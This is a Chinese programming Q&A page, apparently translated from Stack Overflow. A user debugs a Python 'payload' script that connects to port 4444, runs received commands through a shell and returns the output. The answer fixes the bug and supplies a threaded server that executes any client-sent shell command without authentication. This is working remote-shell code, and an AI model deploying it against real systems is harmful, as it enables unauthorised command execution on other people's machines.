TypeError:“Socket”对象不可迭代

vsikbqxv  于 2022-10-02  发布在  Python
关注(0)|答案(1)|浏览(156)

我试图编写一个在其他系统上执行系统命令的程序。当我发出要在终端上执行的命令时,收到此错误。

import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")

while True:
    cmd = payload.recv(2048)
    if cmd == 'exit':
        payload.close()
        break
    cmd = cmd.decode('utf-8')
    output = subprocess.check_output(payload, shell=True)
    payload.send(output)

输出是这样的

Traceback (most recent call last):
  File "C:UsersWasiiDesktoppython-payloadpayload.py", line 13, in <module>
    output = subprocess.check_output(payload, shell=True)
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 420, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 501, in run
    with Popen(*popenargs,**kwargs) as process:
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 966, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 1375, in _execute_child
    args = list2cmdline(args)
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 561, in list2cmdline
    for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable
whlutmcx

whlutmcx1#

您应该将cmd传递给subprocess.check_output,而不是payload

为了处理多个并发客户端,我将对服务器进行如下编码:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
            cmd = cmd.decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')

相关问题